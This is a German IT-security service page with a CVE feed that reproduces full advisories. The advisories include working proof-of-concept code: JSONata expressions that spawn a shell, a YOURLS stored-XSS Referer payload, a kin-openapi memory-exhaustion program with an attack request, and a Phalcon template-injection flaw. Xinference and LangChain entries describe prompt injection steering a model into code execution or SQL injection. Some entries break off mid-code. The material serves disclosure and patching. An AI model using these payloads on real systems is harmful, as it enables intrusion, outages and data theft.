IT-Sicherheit - bleiben Sie auf dem Laufenden
Täglich werden neue Schwachstellen, Angriffs-Vektoren, Cyber-Attaken und Fehler in Software, Netzwerken und Infrastrukturen bekannt - teilweise betreffen diese nur bestimmte Softwarelösungen oder spezifische Szenarien, manchmal betreffen Sie jedoch auch ganze Industriezweige, weit verbreitete Arbeitsweisen und grundlegende Technologien wie bei Heartbleed (SSL) oder Log4Shell (Protokollierung). Ergreifen Sie Maßnahmen, um Ihre Infrastruktur und Daten sicher zu halten.
Gemeinsam erfassen wir, welche Komponten und Abhängigkeiten Sie einsetzen und überwachen die CVE und viele weitere Quellen um im Falle von Mängeln oder Angriffspunkten schnell handeln zu können.
Wir simulieren Angriffe und Testen Ihre Anwendungen, Webseiten, die Infrastruktur und Prozesse auf mögliche Sicherheitslücken, Mängel und Angriffsvektoren um Risiken fürhzeitig zu erknennen und Lücken zu schließen.
Wir implementieren aktiv Monitore und überwachen somit Anfragen um frühzeitig Angriffe und verdächtige Aktivitäten zu identifizieren. Verdächte Aktivitäten können zur Alarmierung oder zu automatischen Sperrungen und Ausschlüssen führen, um einen hohen Standard zu gewährleisten.
Den Bedrohungen der IT-Welt sind Sie nicht schutzlos ausgeliefert - es ist jedoch wichtig dem Thema IT-Sicherheit Aufmerksamkeit zu schenken, um einen verantwortungsbewussten und rechtskonformen Umgang mit Unternehmens- und Kundendaten zu gewährleisten.
| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 9.8 / 10 CVE-2025-1889 | gerade eben | |
| picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic. | ||
| Risiko 9.8 / 10 CVE-2024-8309 | gerade eben | |
| A vulnerability in the GraphCypherQAChain class of langchain-ai/langchain-community version 0.2.5 allows for SQL injection through prompt injection. This vulnerability can lead to unauthorized data manipulation, data exfiltration, denial of service (DoS) by deleting all data, breaches in multi-tenant security environments, and data integrity issues. Attackers can create, update, or delete nodes and relationships without proper authorization, extract sensitive data, disrupt services, access data across different tenants, and compromise the integrity of the database. | ||
| Risiko 9.5 / 10 CVE-2026-77414 | vor 1 Stunde(n) | |
| Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a bypassable `hasOwnProperty` check in `environment.lookup` https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871 This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( $hasOwnProperty := $spread($string); $__proto__ := $constructor; $constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")(); )`); await expression.evaluate({}); ``` | ||
| Risiko 7.5 / 10 CVE-2026-68508 | vor 1 Stunde(n) | |
| ## Summary `hydra.utils.instantiate()` resolves and calls Python objects from config. If an application passes untrusted config to `instantiate()`, an attacker who controls `_target_` and its arguments can cause arbitrary code execution in the consuming process. Hydra is not a network service. Exploitation requires a consuming application, library, or user workflow to load attacker-controlled config, CLI overrides, or model metadata and pass it to `hydra.utils.instantiate()`. ## Details Hydra's instantiate API is designed to construct objects and call functions from configuration. For example: ```yaml component: _target_: package.module.Class arg: value ``` When this config is passed to `hydra.utils.instantiate()`, Hydra resolves `_target_` and calls it with the provided arguments. This is intended for trusted application configuration. However, if untrusted input controls `_target_`, the config becomes a callable-selection mechanism. A malicious config can select a callable capable of executing code or commands and provide attacker-controlled arguments. This issue is the same general class of problem discussed by Unit 42 for downstream AI/ML libraries such as NVIDIA NeMo, where untrusted model metadata was passed into Hydra instantiate: https://unit42.paloaltonetworks.com/rce-vulnerabilities-in-ai-python-libraries/ Hydra 1.3.4 includes a blacklist for some dangerous `_target_` values. That blacklist is defense-in-depth and is not a complete security boundary. The blacklist is not present in the released `hydra-core` 1.3.3 package, so this issue should not be described as a bypass of a released 1.3.3 blacklist. ## Impact A successful attack can execute code in the process that calls `hydra.utils.instantiate()`. The impact is limited to the privileges and environment of that process. Potential impact includes: - Reading files, credentials, environment variables, or data accessible to the process - Modifying files, outputs, checkpoints, or application state writable by the process - Terminating or disrupting the process ## Affected Usage Applications and libraries are affected when they pass untrusted or semi-trusted config, model metadata, CLI overrides, or other externally controlled data to `hydra.utils.instantiate()` without constraining which targets may be instantiated. Trusted application-owned configuration is not affected in the same way. ## Remediation Hydra 1.3.4 hardens the existing behavior by adding a blacklist of obvious dangerous targets. It is a substantial security improvement, and users remaining on the 1.3 release line should upgrade to 1.3.4 or a newer version. The unreleased Hydra 1.4 development line uses an allowlist-based instantiation model that fully addresses this vulnerability class. The allowlist must come from trusted application code or another trusted channel, not from the untrusted config being instantiated. Applications that consume untrusted or semi-trusted config should not pass it directly to `hydra.utils.instantiate()`. They should validate `_target_` values against a trusted allowlist before instantiation. | ||
| Risiko 7.5 / 10 CVE-2026-63135 | vor 1 Stunde(n) | |
| ### Summary
YOURLS stores the HTTP `Referer` header for short URL redirects and later renders aggregated referrer domains in the per-link statistics page. An unauthenticated attacker can send a crafted `Referer` header to any existing short URL. When an authenticated administrator or stats-page viewer opens that short URL's statistics page, the crafted referrer is embedded into Google Charts JavaScript without JavaScript-string escaping, causing stored cross-site scripting.
This is reachable in default private installations when authenticated users view stats, and in documented configurations where `YOURLS_PRIVATE_INFOS` is set to `false` to make statistics pages public.
### Details
The vulnerable source-to-sink path is:
```text
HTTP Referer header
-> yourls_get_referrer()
-> yourls_sanitize_url_safe()
-> yourls_log_redirect()
-> log table referrer column
-> yourls-infos.php referrer aggregation
-> yourls_get_domain()
-> yourls_stats_pie()
-> yourls_google_array_to_data_table()
-> inline JavaScript
```
Relevant code:
- `includes/functions.php:240-243`: `yourls_get_referrer()` reads `$_SERVER['HTTP_REFERER']`, calls `yourls_sanitize_url_safe()`, and truncates the result to 200 bytes.
- `includes/functions.php:294-307`: `yourls_redirect_shorturl()` calls `yourls_log_redirect()` before redirecting the visitor.
- `includes/functions.php:516-545`: `yourls_log_redirect()` stores the sanitized referrer in the log table.
- `yourls-infos.php:60-82`: the statistics page reads logged referrers and groups them by `yourls_get_domain($row->referrer)`.
- `yourls-infos.php:493-498`: the statistics page passes referrer domains to `yourls_stats_pie()`.
- `includes/functions-infos.php:338-355`: `yourls_google_array_to_data_table()` manually concatenates labels into JavaScript as `['$label', ...]` without escaping single quotes, backslashes, or other JavaScript string metacharacters.
- `includes/functions-formatting.php:141-143` and `includes/functions-formatting.php:555-609`: `yourls_sanitize_url_safe()` removes some unsafe characters and CRLF sequences, but still permits the characters needed for JavaScript-string breakout, including `'`, `[`, `]`, `,`, and parentheses.
A crafted referrer host such as:
```text
x',1],['marker',alert(1)],['z.tld
```
survives sanitization when used in a URL like:
```text
http://x',1],['marker',alert(1)],['z.tld/path
```
It is then rendered into chart JavaScript like:
```javascript
var data = google.visualization.arrayToDataTable([
['x',1],['marker',alert(1)],['z.tld',1]
]);
```
The `alert(1)` call is only a benign proof marker. An attacker could execute arbitrary JavaScript in the stats viewer's browser context.
### PoC
The following local harness was run against commit `c3fc8e2370d240403c17c2e4a70e1e234759a5b3`. It exercises YOURLS' real URL sanitizer, domain extraction, and `yourls_stats_pie()` chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and `alert()`.
```sh
docker run --rm --network none -v "$PWD:/repo:ro" -w /repo phpmyadmin:5.2.1 php -d display_startup_errors=0 -r '
define("IDNA_DEFAULT",0);
define("INTL_IDNA_VARIANT_UTS46",1);
function yourls_add_action(){ }
function yourls_do_action(){ }
function yourls_apply_filter($tag,$value){ return $value; }
function yourls_get_protocol($url){ preg_match("!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!", $url, $m); return isset($m[0]) ? $m[0] : ""; }
function yourls_is_allowed_protocol($url,$protocols=[]){ if(!$protocols){ global $yourls_allowedprotocols; $protocols=$yourls_allowedprotocols; } return in_array(yourls_get_protocol($url), $protocols); }
if(!function_exists("idn_to_utf8")){ function idn_to_utf8($domain,$flags=0,$variant=0){ return $domain; } }
require "includes/vendor/autoload.php";
require "includes/functions-kses.php";
yourls_kses_init();
require "includes/functions-formatting.php";
require "includes/functions-infos.php";
$ref="http://x\x27,1],[\x27marker\x27,alert(1)],[\x27z.tld/path";
$san=substr(yourls_sanitize_url_safe($ref),0,200);
$host=yourls_get_domain($san);
ob_start();
yourls_stats_pie([$host=>1,"benign.example"=>1,"another.example"=>1], 5, "440x220", "stat_tab_source_ref");
$html=ob_get_clean();
preg_match("# |
||
| Risiko 9.5 / 10 CVE-2026-77413 | vor 1 Stunde(n) | |
| ## Impact Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705 This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( __lookupSetter__('__proto__')(constructor); __defineGetter__('l', constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) `); await expression.evaluate({}); ``` | ||
| Risiko 7.5 / 10 CVE-2026-77354 | vor 1 Stunde(n) | |
| ### Summary An uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index — *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services. ### Details The OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a¶m[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936): ```go // req_resp_decoder.go (vulnerable version) func sliceMapToSlice(m map[string]any) ([]any, error) { var result []any keys := make([]int, 0, len(m)) for k := range m { key, err := strconv.Atoi(k) // "50000000" -> 50000000, attacker-controlled if err != nil { return nil, fmt.Errorf("array indexes must be integers: %w", err) } keys = append(keys, key) } max := -1 for _, k := range keys { if k > max { max = k // max = attacker's index, unbounded } } for i := 0; i <= max; i++ { // <-- unbounded loop, 0 .. max val, ok := m[strconv.Itoa(i)] if !ok { result = append(result, nil) // fills every sparse hole with nil continue } result = append(result, val) } return result, nil } ``` A second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986): ```go resultArr := make([]any /*not 0,*/, len(arr)) // second allocation, size = max+1 for i := range arr { r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items) ... } ``` So a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps — with **no upper bound** other than `strconv.Atoi`'s `int` range (~9.2×10¹⁸ on 64-bit) and available memory. **Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented. **Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no "index" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude. **Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array. **Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) ("openapi3filter: deepObject array of objects and array of arrays support (#923)", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path. ### PoC Verified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`. **1. Spec** — one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help): ```yaml openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /q: get: parameters: - name: param in: query style: deepObject explode: true schema: type: object properties: items: type: array maxItems: 3 items: {type: string} responses: '200': {description: ok} ``` **2. Program** — build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router → `openapi3filter.ValidateRequest`) any real HTTP server uses: ```go package main import ( "context" "fmt" "net/http" "runtime" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /q: get: parameters: - name: param in: query style: deepObject explode: true schema: type: object properties: items: type: array maxItems: 3 items: {type: string} responses: '200': {description: ok} ` func main() { loader := openapi3.NewLoader() doc, _ := loader.LoadFromData([]byte(spec)) _ = doc.Validate(loader.Context) router, _ := gorillamux.NewRouter(doc) // Attacker-controlled index. A 24-byte query string is enough to force // materialization of a 50-million-element slice. const rawQuery = "param[items][50000000]=x" r, _ := http.NewRequest(http.MethodGet, "/q?"+rawQuery, nil) route, pp, _ := router.FindRoute(r) var before, after runtime.MemStats runtime.GC() runtime.ReadMemStats(&before) err := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) runtime.ReadMemStats(&after) fmt.Printf("query string: %q (%d bytes)\n", rawQuery, len(rawQuery)) fmt.Printf("heap allocated during ValidateRequest: %.1f MiB\n", float64(after.TotalAlloc-before.TotalAlloc)/(1<<20)) fmt.Printf("ValidateRequest error: %v\n", err) } ``` **3. Observed output** (`go run .`, unpatched tree, re-verified in this pass): ``` query string: "param[items][50000000]=x" (24 bytes) heap allocated during ValidateRequest: 6231.1 MiB ValidateRequest error: parameter "param" in query has an error: Error at "/items": maximum number of items is 3 ``` A **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection — proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision): | Query string | Wire size | Heap allocated | Amplification | |---|---|---|---| | `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000× | | `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000× | | `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000× | | `param[items][5000000]=x` | 23 B | 555 MiB | ~25,300,000× | | `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000× | **Attack request** (nothing else required — no body, no auth, no unusual headers): ``` GET /whatever?param[items][50000000]=x HTTP/1.1 Host: victim ``` **Control (confirms only deepObject is a vector):** repeating the equivalent "large array" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case. **4. Regression/scaling test suite** — a broader harness driving the same public entry point, adding the ordering proof (`TestC02_AllocationBeforeValidation`), the nested-index amplifier, and the cross-encoding controls referenced above. Save as `openapi3filter/zzz_c02_verify_test.go` and run with `C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v` (unset `C02_BIG` to skip the two largest, slower indexes): ```go package openapi3filter_test import ( "bytes" "fmt" "mime/multipart" "net/http" "net/url" "os" "runtime" "strings" "testing" "github.com/stretchr/testify/require" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) // measureAlloc runs fn and reports the number of bytes of heap it caused to be // allocated (TotalAlloc delta), which counts even memory that was already freed // by the time fn returned. This captures transient allocation spikes. func measureAlloc(fn func()) uint64 { var before, after runtime.MemStats runtime.GC() runtime.ReadMemStats(&before) fn() runtime.ReadMemStats(&after) return after.TotalAlloc - before.TotalAlloc } const c02Spec = ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /q: get: parameters: - name: param in: query style: deepObject explode: true schema: type: object properties: items: type: array maxItems: 3 items: {type: string} responses: '200': {description: ok} ` func c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) { t.Helper() loader := openapi3.NewLoader() ctx := loader.Context doc, err := loader.LoadFromData([]byte(c02Spec)) require.NoError(t, err) require.NoError(t, doc.Validate(ctx)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) validate := func(rawquery string) error { req, err := http.NewRequest(http.MethodGet, "/q?"+rawquery, nil) require.NoError(t, err) route, pathParams, err := router.FindRoute(req) require.NoError(t, err) return openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) } return doc, validate } // TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single // tiny deepObject query with a large array index. func TestC02_Reproduce_MemoryExhaustion(t *testing.T) { _, validate := c02Router(t) base := measureAlloc(func() { _ = validate("param[items][0]=a¶m[items][1]=b¶m[items][2]=c") }) t.Logf("baseline (3 legit items): %s allocated", humanBytes(base)) indexes := []int{10_000, 100_000, 1_000_000} if os.Getenv("C02_BIG") == "1" { indexes = append(indexes, 5_000_000, 50_000_000) } const fixThreshold = 32 << 20 // 32 MiB: no fixed-tree request should approach this worst := uint64(0) for _, idx := range indexes { q := fmt.Sprintf("param[items][%d]=x", idx) alloc := measureAlloc(func() { err := validate(q) require.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln) }) if alloc > worst { worst = alloc } ratio := float64(alloc) / float64(len(q)) t.Logf("index=%-10d query=%dB -> %s allocated (%.0fx over the query size)", idx, len(q), humanBytes(alloc), ratio) } require.Less(t, worst, uint64(fixThreshold), "C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high", humanBytes(worst)) } // TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable // tree the huge allocation happened even though maxItems:3 is declared, proving // materialization precedes schema validation. func TestC02_AllocationBeforeValidation(t *testing.T) { _, validate := c02Router(t) const idx = 2_000_000 q := fmt.Sprintf("param[items][%d]=x", idx) var gotErr error alloc := measureAlloc(func() { gotErr = validate(q) }) require.Error(t, gotErr) t.Logf("index=%d (query %d bytes) allocated %s; error: %v", idx, len(q), humanBytes(alloc), gotErr) // On the vulnerable tree this value was ~225 MiB and this assertion fails, // flagging the regression. On the fixed tree it stays well under 32 MiB. require.Less(t, alloc, uint64(32<<20), "C-02 REGRESSION: index %d allocated %s before rejection", idx, humanBytes(alloc)) } // TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and // urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent // "large index" payload in those encodings does not explode. func TestC02_OnlyDeepObjectAffected(t *testing.T) { spec := ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /b: post: requestBody: content: application/json: schema: type: object properties: items: {type: array, maxItems: 3, items: {type: string}} application/x-www-form-urlencoded: schema: type: object properties: items: {type: array, maxItems: 3, items: {type: string}} multipart/form-data: schema: type: object properties: items: {type: array, maxItems: 3, items: {type: string}} responses: '200': {description: ok} ` loader := openapi3.NewLoader() ctx := loader.Context doc, err := loader.LoadFromData([]byte(spec)) require.NoError(t, err) require.NoError(t, doc.Validate(ctx)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) do := func(ct, body string) (error, uint64) { var e error alloc := measureAlloc(func() { req, _ := http.NewRequest(http.MethodPost, "/b", strings.NewReader(body)) req.Header.Set("Content-Type", ct) route, pathParams, rerr := router.FindRoute(req) require.NoError(t, rerr) e = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) return e, alloc } _, jsonAlloc := do("application/json", `{"items":["a","b","c","d"]}`) t.Logf("JSON 4-elem array: %s", humanBytes(jsonAlloc)) require.Less(t, jsonAlloc, uint64(4<<20), "JSON path must not balloon") form := url.Values{} form.Set("items", "a") form.Add("items", "b") _, formAlloc := do("application/x-www-form-urlencoded", form.Encode()) t.Logf("urlencoded repeated field: %s", humanBytes(formAlloc)) require.Less(t, formAlloc, uint64(4<<20), "urlencoded path must not balloon") var buf bytes.Buffer w := multipart.NewWriter(&buf) require.NoError(t, w.WriteField("items", "a")) require.NoError(t, w.WriteField("items", "b")) require.NoError(t, w.Close()) _, mpAlloc := do(w.FormDataContentType(), buf.String()) t.Logf("multipart fields: %s", humanBytes(mpAlloc)) require.Less(t, mpAlloc, uint64(4<<20), "multipart path must not balloon") } // TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points // (path/simple, header/simple, cookie/form). These build props via // propsFromString, whose keys are property names, not bracketed integer // indexes -- so a big number lands as a string key that fails strconv.Atoi // cleanly, without materializing a giant slice. func TestC02_NonDeepObjectStylesSafe(t *testing.T) { spec := ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /p/{param}: get: parameters: - name: param in: path required: true style: simple explode: false schema: type: object properties: items: {type: array, maxItems: 3, items: {type: string}} responses: '200': {description: ok} ` loader := openapi3.NewLoader() ctx := loader.Context doc, err := loader.LoadFromData([]byte(spec)) require.NoError(t, err) require.NoError(t, doc.Validate(ctx)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) alloc := measureAlloc(func() { req, _ := http.NewRequest(http.MethodGet, "/p/items,5000000", nil) route, pathParams, rerr := router.FindRoute(req) require.NoError(t, rerr) _ = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) t.Logf("path/simple object with big scalar: %s", humanBytes(alloc)) require.Less(t, alloc, uint64(4<<20), "path/simple must not balloon") } func humanBytes(b uint64) string { const unit = 1024 if b < unit { return fmt.Sprintf("%d B", b) } div, exp := uint64(unit), 0 for n := b / unit; n >= unit; n /= unit { div *= unit exp++ } return fmt.Sprintf("%.1f %ciB", float64(b)/float64(div), "KMGTPE"[exp]) } ``` **Observed output re-run in this pass** (`C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v`): - **Unpatched tree** (fix reverted via `git stash push -- openapi3filter/req_resp_decoder.go`): `TestC02_Reproduce_MemoryExhaustion` reproduced the full scaling table above (10,000 → 937.5 KiB through 50,000,000 → 6.1 GiB), and `TestC02_AllocationBeforeValidation` measured **225.2 MiB** allocated for `index=2,000,000` before the `maxItems` rejection fired — both matching the standalone PoC's findings and failing their bounded-allocation assertions as expected. - **Patched tree** (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and `TestC02_OnlyDeepObjectAffected` / `TestC02_NonDeepObjectStylesSafe` confirm the other encodings and parameter styles were never affected. ### Impact - **Type:** Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) → **unauthenticated remote denial of service**. - **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` to validate requests against a spec that declares an `in: query`, `style: deepObject` parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec. - **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it. - **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs. - **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass). | ||
| Risiko 9.5 / 10 CVE-2026-61539 | vor 1 Stunde(n) | |
| ### Summary Xinference used Python's unsafe `eval()` function when parsing Llama3 tool-call output generated by a large language model. Because the model output can be influenced by attacker-controlled prompts sent to the chat completion API, a remote attacker can craft prompts that cause the model to return a Python expression. Xinference then evaluates that expression on the server while post-processing the tool-call result. In the tested default deployment, authentication was not enabled, so the vulnerability was exploitable by an unauthenticated remote attacker through the `/v1/chat/completions` endpoint. ### Details Users can interact with deployed models through Xinference's OpenAI-compatible `/v1/chat/completions` API. The request entry point is implemented in `xinference/api/restful_api.py`; non-streaming requests call the model instance's `chat()` method and return the inference result. When the Transformers backend is used, inference results flow through the batching logic in `xinference/model/llm/transformers/core.py`. Non-streaming chat results are handled by `handle_chat_result_non_streaming()`. If the request contains a `tools` field, Xinference calls `_post_process_completion()` to parse tool-call output from the model response. The Llama3 tool-call parser is implemented in `xinference/model/llm/tool_parsers/llama3_tool_parser.py`. In affected versions, `extract_tool_calls()` parsed model output with `eval()`: ```python def extract_tool_calls( self, model_output: str ) -> List[Tuple[Optional[str], Optional[str], Optional[Dict[str, Any]]]]: try: data = eval(model_output, {}, {}) return [(None, data["name"], data["parameters"])] except Exception: return [(model_output, None, None)] ``` The intended behavior was to convert a Python dictionary-like string generated by the model into a dictionary object. However, `eval()` executes the input as a Python expression, and `eval(model_output, {}, {})` is not a security sandbox. If an attacker can influence the model output through prompt injection or direct chat input, the attacker can cause the model to return an expression such as: ```python __import__('os').system('touch /tmp/hacked') ``` When the expression reaches `eval()`, it is executed in the Xinference server process context. The harmless `touch /tmp/hacked` command can be replaced with other payloads, such as a reverse shell, malware download, sensitive file read, or lateral-movement payload. ### Score Severity: Critical CVSS v3.1: 10.0 Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` Rationale: - AV:N: the vulnerable API is remotely reachable over the network; - AC:L: exploitation only requires a crafted chat-completion request and tool-call parameter; - PR:N: the tested default configuration did not require authentication; - UI:N: no user interaction is required; - S:C: command execution can affect resources beyond the Xinference application boundary; - C:H/I:H/A:H: remote code execution can fully compromise confidentiality, integrity, and availability. ### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab (xlabai@tencent.com) - Atuin Automated Vulnerability Discovery Engine - Guannan Wang (wgnbuaa@gmail.com), Zhanpeng Liu (pkugenuine@gmail.com), Guancheng Li (lgcpku@gmail.com) | ||
| Risiko 9.5 / 10 CVE-2026-59989 | vor 1 Stunde(n) | |
| ## Summary
The Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.
## Details
### Root cause
`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:
```zephir
case "join":
return "join('" . funcArguments[1]["expr"]["value"]
. "', " . funcArguments[0]["expr"]["value"] . ")";
```
`funcArguments[1]["expr"]["value"]` (the separator) and `funcArguments[0]["expr"]["value"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join('` … `'` quotes with no neutralisation of `'`, and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.
**Generated-C ground truth** -> `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):
```c
ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");
```
i.e. literally `"join('" + separator + "', " + array + ")"` with both attacker-controlled fragments unescaped.
The compiled output is then written to a cache file and `require`d by `Phalcon\Mvc\View\Engine\Volt::render()`, so any PHP spliced in by the attacker runs at render time.
